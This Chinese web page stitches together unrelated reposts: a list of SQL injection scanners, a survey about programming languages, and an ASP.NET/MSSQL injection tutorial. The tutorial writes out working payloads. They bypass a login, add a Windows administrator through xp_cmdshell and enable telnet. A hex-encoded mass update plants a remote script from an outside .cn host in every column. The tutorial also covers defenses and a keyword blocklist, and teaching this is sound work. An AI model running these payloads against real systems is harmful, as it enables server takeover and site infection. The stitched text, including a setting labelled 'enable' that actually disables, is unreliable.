整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

网络安全干货分享 - 2022 年最佳 SQL 注入

网络安全干货分享 - 2022 年最佳 SQL 注入检测工具(转载)

近整理了一些奇安信&华为大佬的课件资料+课件笔记+面试课题,想要的可以私信自取,无偿赠送给粉丝朋友~

文章来源 :https://www.wljslmz.cn/1109.html

SQL 注入 (SQLi) 是一种可以访问敏感或私有数据的隐蔽攻击形式,它们最早是在上世纪末被发现的,尽管它们的年龄很大,但它们经常被用作黑客工具包中的一种有效技术。今天,给大家介绍一下顶级 SQLi 检测工具。

顶级 SQLi 检测工具

有很多 SQLi 检测工具,其中许多是开源的,可在 GitHub 上找到,除了专门的 SQLi 检测工具外,还有更大的套件和专有软件包将 SQLi 作为其整体漏洞检测功能的一部分。

Netsparker

Netsparker是一个 Web 漏洞管理解决方案,其中包括 SQLi 检测作为其众多功能之一,还专注于可扩展性、自动化和集成。

该套件围绕 Web 漏洞扫描器构建,并且可以与第三方工具集成,操作员不需要熟悉源代码。该公司还提供了一个SQL 注入备忘单来帮助缓解工作。

Netsparker 平台使用基于证明的扫描技术来识别和确认漏洞,指示绝对不是误报的结果,除了 SQL 注入之外,它还可以识别 Web 应用程序、Web 服务和 Web API 中的跨站点脚本 (XSS) 和其他漏洞。

该平台还具有安全测试工具和报告生成器,并且可以集成到 DevOps 环境中,它检查 Apache、Nginx 和 IIS 等 Web 服务器,并支持基于 AJAX 和 JavaScript 的应用程序。

SQLMap

SQLMap是 GitHub 上提供的自动 SQLi 和数据库接管工具,这个开源渗透测试工具可以自动检测和利用 SQLi 漏洞或其他接管数据库服务器的攻击。

它包括一个检测引擎;进行渗透测试的几种方法;以及用于数据库指纹识别、数据提取、访问底层文件系统以及通过带外连接在操作系统 (OS) 上执行命令的工具。

jSQL Injection

jSQL Injection是一种基于 Java 的工具,可帮助 IT 团队从远程服务器中查找数据库信息,它是解决 SQLi 的众多免费、开源方法中的另一种。它支持 Windows、Linux 和 Mac 操作系统以及 Java 版本 11-17。

它是如此有效的 SQLi 威慑,以至于它包含在许多其他漏洞扫描和渗透测试产品和发行版中。这包括Kali Linux、Pentest Box、Parrot Security OS、ArchStrike和BlackArch Linux。

它还提供 33 个数据库引擎的自动注入,包括 Access、DB2、Hana、Ingres、MySQL、Oracle、PostgreSQL、SQL Server、Sybase 和 Teradata。它为用户提供了解决多种注入策略和流程的方法,并提供了用于 SQL 和篡改的脚本沙箱。

Havij

Havij是由一家伊朗安全公司开发的,它提供了一个图形用户界面 (GUI),并且是一个自动化的 SQLi 工具,支持多种 SQLi 技术,它在支持渗透测试人员发现网页漏洞方面具有特殊价值,虽然它主要适用于 Windows,但也有一些变通方法可以让它在 Linux 上运行。

Burp

Burp Suite中的 Web 漏洞扫描器使用 PortSwigger 的研究来帮助用户自动发现 Web 应用程序中的各种漏洞,例如,Burp Collaborator 识别其目标和外部服务器之间的交互,以检查传统扫描程序不可见的错误,例如异步 SQL 注入和盲目的服务器端请求伪造 (SSRF)。

Burp Scanner 中的爬网引擎位于 Burp Suite Enterprise Edition 和 Burp Suite Professional 等大型套件的核心,可消除跨站点请求伪造 (CSRF) 令牌、有状态功能以及过载或易变 URL 等障碍。其嵌入式 Chromium 浏览器呈现和抓取 JavaScript。爬行算法以与测试人员类似的方式建立其目标的配置文件。

Burp 还旨在处理动态内容、不稳定的互联网连接、API 定义和 Web 应用程序。此外,可以单独或按组选择扫描检查,并且可以保存自定义配置 - 例如仅报告出现在 OWASP Top 10 中的漏洞的扫描配置。

BBQSQL

BBQSQL是一个基于 Python 的注入利用工具,它消除了编写自定义代码和脚本以解决 SQLi 问题的大量乏味。它主要用于处理更复杂的 SQL 注入漏洞。由于它是半自动的且与数据库无关,因此它简化了定制并且相对易于使用。

它还利用基于 Python 的工具来提高性能。用户提供数据,例如受影响的 URL、HTTP 方法和其他输入作为设置的一部分。他们还必须指定注入的去向,以及注入的语法。

Blisqy

Blisqy处理 HTTP 标头上基于时间的盲 SQL 注入。这种漏洞利用可通过盲 SQL 注入,对可打印的 ASCII 字符进行按位运算,从而从数据库中抽取慢速数据。它支持 MySQL 和 MariaDB 数据库。

由于它是用 Python 编写的,因此可以将其导入其他基于 Python 的脚本中。Blisqy 是一种快速有效的补偿网络延迟和其他延迟的方法,因为它的时间比较是动态的,并且在每次测试的运行时计算。

Acunetix Web 漏洞扫描程序

Invicti 的Acunetix将 SQL 注入测试作为其整体功能的一部分,即扫描基于 Web 的应用程序。它的多线程扫描程序可以在 Windows 和 Linux 上快速爬取数十万页。它识别常见的 Web 服务器配置问题,并且特别擅长扫描 WordPress。

它会自动创建所有网站、应用程序和 API 的列表,并使其保持最新状态。该工具还可以扫描 SPA、脚本繁重的网站以及使用 HTML5 和 JavaScript 构建的应用程序,并提供宏来自动扫描受密码保护和难以到达的区域。

Blind SQL Injection via Bit Shifting

Blind SQL Injection via Bit Shifting通过使用位移方法计算字符而不是猜测字符来执行 SQL 盲注入。位移位将位的位置向左或向右移动。例如,00010111 可以转换为 00101110。盲 SQL 模块每个字符需要七个或八个请求,具体取决于配置。

Damn Small SQLi Scanner

Damn Small SQLi Scanner (DSSS) 由 SQLMap 的创建者之一组成,是一个紧凑的 SQLi 漏洞扫描器,由不到 100 行代码组成。除了用作漏洞扫描器之外,该工具还强调其执行某些与占用大量代码的工具相同的任务的能力。

但是,正如其大小所预期的那样,它具有一定的局限性。例如,它只支持 GET 参数而不支持 POST 参数。

Leviathan

Leviathan的特点是工具的大规模审计集合。因此,它包含一系列用于服务发现、暴力破解、SQL 注入检测和运行自定义漏洞利用功能的功能。它内部包含了几个开源工具,包括masscan、ncrack和DSSS,可以单独使用,也可以组合使用。

此外,它还可以发现在特定国家或 IP 范围内运行的 FTP、SSH、Telnet、RDP 和 MySQL 服务。然后可以通过 ncrack 对发现的服务进行暴力破解。命令可以在受感染的设备上远程运行。针对 SQLi 漏洞,它可以在带有国家扩展名的网站上检测到它们。

NoSQLMap

NoSQLMap是一个可用于审计的 Python 工具。它通常用于 SQL 注入攻击的自动化,并用于发现NoSQL 数据库和使用 NoSQL 从数据库中披露或克隆数据的 Web 应用程序中的默认配置漏洞。

这个开源工具维护得很好,可以看作是 SQLMap 的表亲。顾名思义,NoSQL 解决了与关系数据库中使用的表格方法不同的数据模型。但是 NoSQL 数据库确实支持类似 SQL 的查询语言,因此受制于 SQLi。NoSQLMap 主要关注 MongoDB 和 CouchDB。未来的版本将扩大其曲目。

Tyrant SQL

Tyrant SQL是一个基于 Python 的 GUI SQL 注入工具,类似于 SQLMap。它的 GUI 允许更大的简单性。这使得初学者更容易分析易受攻击的链接并确定弱点所在。

Whitewidow

Whitewidow是另一个开源 SQL 漏洞扫描程序。由于它是自动化的,它可以快速运行一个长文件列表或从谷歌搜索潜在易受攻击的网站。

Whitewidow 还提供其他功能,例如自动文件格式化、随机用户代理、IP 地址、服务器信息和多 SQL 注入语法。该工具还提供了从其中启动 SQLMap 的能力。

然而,Whitewidow 与其说是一种补救工具,不如说是一种教育工具。它可以帮助用户了解漏洞是什么样的,但它依赖于 SQLMap 来获得更强大的 SQLi 检测功能。

Explo

Explo是一个基本工具,旨在以人类和机器可读的格式描述 Web 安全问题。它定义了一个请求/条件工作流,允许它在无需编写脚本的情况下利用安全问题。

因此,它可以解决复杂的漏洞,并以简单的可读和可执行格式共享它们。

什么是 SQL 注入?

结构化查询语言或 SQL 是一种在Microsoft SQL Server、Oracle、IBM DB2 和 MySQL 等关系数据库中大量使用的语言。由于数据库倾向于为企业托管敏感信息,恶意 SQL 注入可能导致敏感信息泄露、Web 内容修改和数据删除。

然后,SQLi 会利用基于 SQL 的应用程序中存在的漏洞。黑客将代码注入 SQL 查询,使他们能够添加、修改和删除数据库项目。

但受影响的不仅仅是数据库。SQLi 可以传播到连接到 SQL 数据库的 Web 应用程序和网站。根据开放 Web 应用程序安全项目 (OWASP),注入是 Web 应用程序最普遍的威胁。

如何防止 SQL 注入?

SQLi 攻击执行恶意 SQL 查询,可用于绕过应用程序安全性,避免授权和身份验证登录和系统。攻击因数据库引擎的类型而异。最常见的变体包括基于用户输入的 SQLi、基于 cookie 的 SQLi、基于 HTTP 标头的 SQLi 和二阶 SQLi。

SQLi 的缓解和预防最初都是为了了解哪些应用程序可能易受攻击——这意味着任何与 SQL 数据库交互的网站。漏洞扫描是评估您可能面临风险的好方法。另一种方法是进行渗透测试。这本质上是试图闯入您的系统并找到任何可以利用的缺陷。

版权申明:内容来源网络,版权归原创者所有。除非无法确认,都会标明作者及出处,如有侵权,烦请告知,我们会立即删除并致歉!

什么是编程语言?"我总会问自己这个问题,SQL是吗?Excel是吗?HTML是吗?……这些问题总在困扰着我们,所以有网站把这些疑问整理成问卷的形式,向各位网友征集了大家的想法。

调查的结果正如我们所预期的那样,绝大多数人都认同C、Java和JavaScript是编程语言,而其他选项的调查结果就有趣了很多:

  • Verilog:大多数人同意Verilog(硬件描述语言)是一种编程语言,他们认为即使软件的输出是硬件,但生成硬件的过程仍然是程序化的。

  • SQL:大多数人认为SQL是一个编程语言,但是很多人因为其缺乏完整性而提出了异议,SQL虽然没有类和循环,但其仍然有算术表达式、函数和变量。

  • C preprocessor:被调查者对于C preprocessor的兴趣明显要高于正则表达式,C preprocessor本质上是一个字符串替换引擎,它比正则表达式的功能更少,只用于生成C代码。但是,很多人认为是否被用来生成代码是判断是否为编程语言的关键因素。

  • LaTeX:咋一看,这是最接近编程语言的,LaTeX具有变量,函数和许多其他类PL功能(LaTeX是Turing-complete!),但是由于它的输出是一个文档,所以我并不看好大家会把它当做是一种编程语言。

  • 但是令人惊讶的是,它就排在C preprocessor之后。

  • CSS:进入Web语言时代之后,少数的受访者也把CSS当做是一种编程语言。

  • TensorFlow:TensorFlow是一种具有变量、循环、编译器等的数据流语言。然而,因为它是一种特定于领域的语言,而且没有独立的语法(它通常通过Python API编程),大多数被调查者并不认为它是一种编程语言。

  • HTML:可能和CSS的情况一样。

  • JSON:JSON是一种数据规范语言,但是大多数人并不把它当做是编程语言。

  • Microsoft Word:GUI 不可能是编程语言!

  • Eclipse:看结果,很显然并不是!

对于上述调查结果列举的,大家是否认为其属于编程语言呢?欢迎在下方留言评论!

业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见。

(对于sql注入的攻防,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门查看大量前辈们的心得,这方面的资料颇多,将其精简出自己觉得重要的,就成了该文)

下面的程序方案是采用 ASP.NET + MSSQL,其他技术在设置上会有少许不同。

什么是SQL注入(SQL Injection)

所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令。在某些表单中,用户输入的内容直接用来构造(或者影响)动态SQL命令,或作为存储过程的输入参数,这类表单特别容易受到SQL注入式攻击。

尝尝SQL注入

1. 一个简单的登录页面

关键代码:

privateboolNoProtectLogin(string userName, string password){int count=(int)SqlHelper.Instance.ExecuteScalar(string.Format ("SELECT COUNT(*) FROM Login WHERE UserName='{0}' AND Password='{1}'", userName, password));return count > 0 ? true : false;}


方法中userName和 password 是没有经过任何处理,直接拿前端传入的数据,这样拼接的SQL会存在注入漏洞。(帐户:admin 123456)

1) 输入正常数据,效果如图:


合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’ AND Password=’123456′


2) 输入注入数据:

如图,即用户名为:用户名:admin’—,密码可随便输入


合并的SQL为:

SELECT COUNT(*) FROM Login WHERE UserName=’admin’– Password=’123′


因为UserName值中输入了“–”注释符,后面语句被省略而登录成功。(常常的手法:前面加上‘; ‘ (分号,用于结束前一条语句),后边加上‘–‘ (用于注释后边的语句))

2. 上面是最简单的一种SQL注入,常见的注入语句还有:


1) 猜测数据库名,备份数据库

a) 猜测数据库名: and db_name() >0 或系统表master.dbo.sysdatabases

b) 备份数据库:;backup database 数据库名 to disk=‘c:*.db’;–

或:declare a sysname;set @a=db_name();backup database a to disk=’你的IP你的共享目录bak.dat’ ,name=’test’;–

2) 猜解字段名称

a) 猜解法:and (select count(字段名) from 表名)>0 若“字段名”存在,则返回正常

b) 读取法:and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0 把col_name(object_id(‘表名‘),1)中的1依次换成2,3,4,5,6…就可得到所有的字段名称。

3) 遍历系统的目录结构,分析结构并发现WEB虚拟目录(服务器上传木马)

先创建一个临时表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));–

a) 利用xp_availablemedia来获得当前所有驱动器,并存入temp表中

;insert temp exec master.dbo.xp_availablemedia;–

b) 利用xp_subdirs获得子目录列表,并存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs ‘c:’;–

c) 利用xp_dirtree可以获得“所有”子目录的目录树结构,并存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree ‘c:’;– (实验成功)

d) 利用 bcp 命令将表内容导成文件

即插入木马文本,然后导出存为文件。比如导出为asp文件,然后通过浏览器访问该文件并执行恶意脚本。(使用该命令必须启动’ xp_cmdshell’)

Exec master..xp_cmdshell N’BCP “select * from SchoolMarket.dbo.GoodsStoreData;” queryout c:/inetpub/wwwroot/runcommand.asp -w -S”localhost” -U”sa” -P”123″‘


(注意:语句中使用的是双引号,另外表名格式为“数据库名.用户名.表名”)

在sql查询器中通过语句:Exec master..xp_cmdshell N’BCP’即可查看BCP相关参数,如图:


4) 查询当前用户的数据库权限

MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通过1=(select IS_SRVROLEMEMBER(‘sysadmin’))得到当前用户是否具有该权限。

5) 设置新的数据库帐户(得到MSSQL管理员账户)

d) 在数据库内添加一个hax用户,默认密码是空

;exec sp_addlogin’hax’;–

e) 给hax设置密码 (null是旧密码,password是新密码,user是用户名)

;exec master.dbo.sp_password null,password,username;–

f) 将hax添加到sysadmin组

;exec master.dbo.sp_addsrvrolemember ‘hax’ ,’sysadmin’;–

6) xp_cmdshell MSSQL存储过程(得到 WINDOWS管理员账户 )

通过(5)获取到sysadmin权限的帐户后,使用查询分析器连接到数据库,可通过xp_cmdshell运行系统命令行(必须是sysadmin权限),即使用 cmd.exe 工具,可以做什么自己多了解下。

下面我们使用xp_cmdshell来创建一个 Windows 用户,并开启远程登录服务:

a) 判断xp_cmdshell扩展存储过程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=‘X’ AND name=’xp_cmdshell’


b) 恢复xp_cmdshell扩展存储过程

Exec master.dbo.sp_addextendedproc ‘xp_cmdshell’,’e:inetputwebxplog70.dll’;

开启后使用xp_cmdshell还会报下面错误:

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的过程 ‘sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器“。

通过执行下面语句进行设置:

— 允许配置高级选项EXEC sp_configure ‘show advanced options’, 1GO— 重新配置RECONFIGUREGO— 启用xp_cmdshellEXEC sp_configure ‘xp_cmdshell’, 0GO—重新配置RECONFIGUREGO


c) 禁用xp_cmdshell扩展存储过程

Exec master.dbo.sp_dropextendedproc ‘xp_cmdshell’;

d) 添加windows用户:

Exec xp_cmdshell ‘net user awen /add’;

e) 设置好密码:

Exec xp_cmdshell ‘net user awen password’;

f) 提升到管理员:

Exec xp_cmdshell ‘net localgroup administrators awen /add’;

g) 开启telnet服务:

Exec xp_cmdshell ‘net start tlntsvr’

7) 没有xp_cmdshell扩展程序,也可创建Windows帐户的办法.

(本人windows7系统,测试下面SQL语句木有效果)

declare shell int ;execsp_OAcreate ‘w script .shell’,shell output ;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen /add’;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net user awen 123′;execsp_OAmethod shell,’run’,null,’C:WindowsSystem32cmd.exe /c net localgroup administrators awen /add’;


在使用的时候会报如下错:

SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’、‘sys.sp_OAMethod’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用sp_configure启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器“。

解决办法:

sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ‘Ole Automation Procedures’, 1;GORECONFIGURE;GO


好了,这样别人可以登录你的服务器了,你怎么看?

8) 客户端脚本攻击

攻击1:(正常输入)攻击者通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。

措施:转义提交的内容,.NET 中可通过System.Net.WebUtility.HtmlEncode(string) 方法将字符串转换为HTML编码的字符串。

攻击2:(SQL注入)攻击者通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,为了跳过System.Net.WebUtility.HtmlEncode(string) 转义,攻击者会将注入SQL经过“HEX编码”,然后通过exec可以执行“动态”SQL的特性运行脚本”。

a) 向当前数据库的每个表的每个字段插入一段恶意脚本

Declare T Varchar(255),C Varchar(255)Declare Table_Cursor Cursor ForSelect A.Name,B.NameFrom SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167)Open Table_CursorFetch Next From Table_Cursor Into @T,@CWhile(@@Fetch_Status=0)BeginExec('update ['+@T+'] Set ['+@C+']=Rtrim(Convert(Varchar(8000),['+@C+']))+''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor


b) 更高级的攻击,将上面的注入SQL进行“HEX编码”,从而避免程序的关键字检查、脚本转义等,通过EXEC执行

dEcLaRe s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72;eXeC(@s);--


c) 批次删除数据库被注入的脚本

declare @delStrnvarchar(500)set @delStr='' --要被替换掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 为char,varchar,nchar,nvarchar类型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' + @tableName + '] set ['+ @columnName +']=replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%''' execsp_executesql sql set @iRow=@@rowcount set @iResult=@iResult+@iRow if @iRow>0 begin print '表:'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!' close cur deallocate cur setnocount off


d) 我如何得到“HEX编码”?

开始不知道HEX是什么东西,后面查了是“十六进制”,网上已经给出两种转换方式:(注意转换的时候不要加入十六进制的标示符 ’0x’ )

? 在线转换 (TRANSLATOR, BINARY),进入……

? C#版的转换,进入……

9) 对于敏感词过滤不到位的检查,我们可以结合函数构造SQL注入

比如过滤了update,却没有过滤declare、exec等关键词,我们可以使用reverse来将倒序的sql进行注入:

declare A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');


防止SQL注入

1. 数据库权限控制,只给访问数据库的web应用功能所需的最低权限帐户。

如MSSQL中一共存在8种权限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2. 自定义错误信息,首先我们要屏蔽服务器的详细错误信息传到客户端。

在 ASP.NET 中,可通过web.config配置文件的节点设置:

<customerrors defaultredirect="url" mode="On|Off|RemoteOnly"> <error. .=""/></customerrors>


mode:指定是启用或禁用自定义错误,还是仅向远程客户端显示自定义错误。

On指定启用自定义错误。如果未指定defaultRedirect,用户将看到一般性错误。Off指定禁用自定义错误。这允许显示标准的详细错误。RemoteOnly指定仅向远程客户端显示自定义错误并且向本地主机显示 ASP.NET 错误。这是默认值。


看下效果图:

设置为一般性错误:


设置为:



3. 把危险的和不必要的存储过程删除


xp_:扩展存储过程的前缀,SQL注入攻击得手之后,攻击者往往会通过执行xp_cmdshell之类的扩展存储过程,获取系统信息,甚至控制、破坏系统。

xp_cmdshell能执行dos命令,通过语句sp_dropextendedproc删除,

不过依然可以通过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000、windows7)

xpsql70.dll(sqlserer 7.0)

xp_fileexist用来确定一个文件是否存在xp_getfiledetails可以获得文件详细资料xp_dirtree可以展开你需要了解的目录,获得所有目录深度Xp_getnetname可以获得服务器名称Xp_regaddmultistring

Xp_regdeletekey

Xp_regdeletevalue

Xp_regenumvalues

Xp_regread

Xp_regremovemultistring

Xp_regwrite

可以访问注册表的存储过程Sp_OACreate

Sp_OADestroy

Sp_OAGetErrorInfo

Sp_OAGetProperty

Sp_OAMethod

Sp_OASetProperty

Sp_OAStop

如果你不需要请丢弃OLE自动存储过程


4. 非参数化SQL与参数化SQL


1) 非参数化(动态拼接SQL)

a) 检查客户端脚本:若使用.net,直接用System.Net.WebUtility.HtmlEncode(string)将输入值中包含的HTML特殊转义字符转换掉。

b) 类型检查:对接收数据有明确要求的,在方法内进行类型验证。如数值型用int.TryParse(),日期型用DateTime.TryParse() ,只能用英文或数字等。

c) 长度验证:要进行必要的注入,其语句也是有长度的。所以如果你原本只允许输入10字符,那么严格控制10个字符长度,一些注入语句就没办法进行。

d) 使用枚举:如果只有有限的几个值,就用枚举。

e) 关键字过滤:这个门槛比较高,因为各个数据库存在关键字,内置函数的差异,所以对编写此函数的功底要求较高。如公司或个人有积累一个比较好的通用过滤函数还请留言分享下,学习学习,谢谢!

这边提供一个关键字过滤参考方案(MSSQL):

public static bool ValiParms(string parms){ if (parms==null) { return false; } Regex regex=new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2=new Regex("'", RegexOptions.IgnoreCase); Regex regex3=new Regex("create ", RegexOptions.IgnoreCase); Regex regex4=new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5=new Regex(""", RegexOptions.IgnoreCase); Regex regex6=new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7=new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8=new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9=new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10=new Regex("select ", RegexOptions.IgnoreCase); Regex regex11=new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms))))))))))));}


优点:写法相对简单,网络传输量相对参数化拼接SQL小

缺点:

a) 对于关键字过滤,常常“顾此失彼”,如漏掉关键字,系统函数,对于HEX编码的SQL语句没办法识别等等,并且需要针对各个数据库封装函数。

b) 无法满足需求:用户本来就想发表包含这些过滤字符的数据。

c) 执行拼接的SQL浪费大量缓存空间来存储只用一次的查询计划。服务器的物理内存有限,SQLServer的缓存空间也有限。有限的空间应该被充分利用。

2) 参数化查询(Parameterized Query)

a) 检查客户端脚本,类型检查,长度验证,使用枚举,明确的关键字过滤这些操作也是需要的。他们能尽早检查出数据的有效性。

b) 参数化查询原理:在使用参数化查询的情况下,数据库服务器不会将参数的内容视为SQL指令的一部份来处理,而是在数据库完成 SQL 指令的编译后,才套用参数运行,因此就算参数中含有具有损的指令,也不会被数据库所运行。

c) 所以在实际开发中,入口处的安全检查是必要的,参数化查询应作为最后一道安全防线。

优点:

? 防止SQL注入(使单引号、分号、注释符、xp_扩展函数、拼接SQL语句、EXEC、SELECT、UPDATE、DELETE等SQL指令无效化)

? 参数化查询能强制执行类型和长度检查。

? 在MSSQL中生成并重用查询计划,从而提高查询效率(执行一条SQL语句,其生成查询计划将消耗大于50%的时间)

缺点:

? 不是所有数据库都支持参数化查询。目前Access、SQL Server、MySQL、SQLite、Oracle等常用数据库支持参数化查询。

疑问:参数化如何“批量更新”数据库。

a) 通过在参数名上增加一个计数来区分开多个参数化语句拼接中的同名参数。

EG:

StringBuilder sqlBuilder=new StringBuilder(512);Int count=0;For(循环){sqlBuilder.AppendFormat(“UPDATE login SET password=@password{0} WHERE username=@userName{0}”,count.ToString());SqlParameter para=new SqlParamter(){ParameterName=@password+count.ToString()}……Count++;}


b) 通过MSSQL 2008的新特性:表值参数,将C#中的整个表当参数传递给存储过程,由SQL做逻辑处理。注意C#中参数设置parameter.SqlDbType=System.Data.SqlDbType.Structured; 详细请查看……

疑虑:有部份的开发人员可能会认为使用参数化查询,会让程序更不好维护,或者在实现部份功能上会非常不便,然而,使用参数化查询造成的额外开发成本,通常都远低于因为SQL注入攻击漏洞被发现而遭受攻击,所造成的重大损失。

另外:想验证重用查询计划的同学,可以使用下面两段辅助语法

--清空缓存的查询计划DBCC FREEPROCCACHEGO--查询缓存的查询计划SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans pOUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sqlJOIN sys.dm_exec_query_stats stats ON stats.plan_handle=p.plan_handleGO


3) 参数化查询示例

效果如图:

参数化关键代码:

Private bool ProtectLogin(string userName, string password){ SqlParameter[] parameters=new SqlParameter[] { new SqlParameter{ParameterName="@UserName",SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new SqlParameter{ParameterName="@Password",SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count=(int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false;}


5. 存储过程

存储过程(Stored Procedure)是在大型数据库系统中,一组为了完成特定功能的SQL 语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。

优点:

a) 安全性高,防止SQL注入并且可设定只有某些用户才能使用指定存储过程。

b) 在创建时进行预编译,后续的调用不需再重新编译。

c) 可以降低网络的通信量。存储过程方案中用传递存储过程名来代替SQL语句。

缺点:

a) 非应用程序内联代码,调式麻烦。

b) 修改麻烦,因为要不断的切换开发工具。(不过也有好的一面,一些易变动的规则做到存储过程中,如变动就不需要重新编译应用程序)

c) 如果在一个程序系统中大量的使用存储过程,到程序交付使用的时候随着用户需求的增加会导致数据结构的变化,接着就是系统的相关问题了,最后如果用户想维护该系统可以说是很难很难(eg:没有VS的查询功能)。

关键代码为:

cmd.CommandText=procName;// 传递存储过程名cmd.CommandType=CommandType.StoredProcedure;// 标识解析为存储过程


如果在存储过程中SQL语法很复杂需要根据逻辑进行拼接,这时是否还具有放注入的功能?

答:MSSQL中可以通过 EXEC 和sp_executesql动态执行拼接的sql语句,但sp_executesql支持替换 Transact-SQL 字符串中指定的任何参数值, EXECUTE 语句不支持。所以只有使用sp_executesql方式才能启到参数化防止SQL注入。

关键代码:

a) sp_executesql

CREATE PROCEDURE PROC_Login_executesql(@userNamenvarchar(10),@password nvarchar(10),@count int OUTPUT)ASBEGIN DECLARE s nvarchar(1000);set @s=N'SELECT @count=COUNT(*) FROM Login WHERE UserName=@userName AND Password=@password'; EXEC sp_executesql @s,N'@userName nvarchar(10),@password nvarchar(10),@count int output',@userName=@userName,@password=@password,@count=@count outputEND


b) EXECUTE(注意sql中拼接字符,对于字符参数需要额外包一层单引号,需要输入两个单引号来标识sql中的一个单引号)

CREATE PROCEDURE PROC_Login_EXEC(@userNamenvarchar(10),@password varchar(20))ASBEGIN DECLARE s nvarchar(1000);set @s='SELECT @count=COUNT(*) FROM Login WHERE UserName='''+CAST(@userName AS NVARCHAR(10))+''' AND Password='''+CAST(@password AS VARCHAR(20))+'''';EXEC('DECLARE @count int;' +@s+'select @count');END


注入截图如下:



6. 专业的SQL注入工具及防毒软件


情景1

A:“丫的,又中毒了……”

B:“我看看,你这不是裸机在跑吗?”

电脑上至少也要装一款杀毒软件或木马扫描软件,这样可以避免一些常见的侵入。比如开篇提到的SQL创建windows帐户,就会立马报出警报。

情景2

A:“终于把网站做好了,太完美了,已经检查过没有漏洞了!”

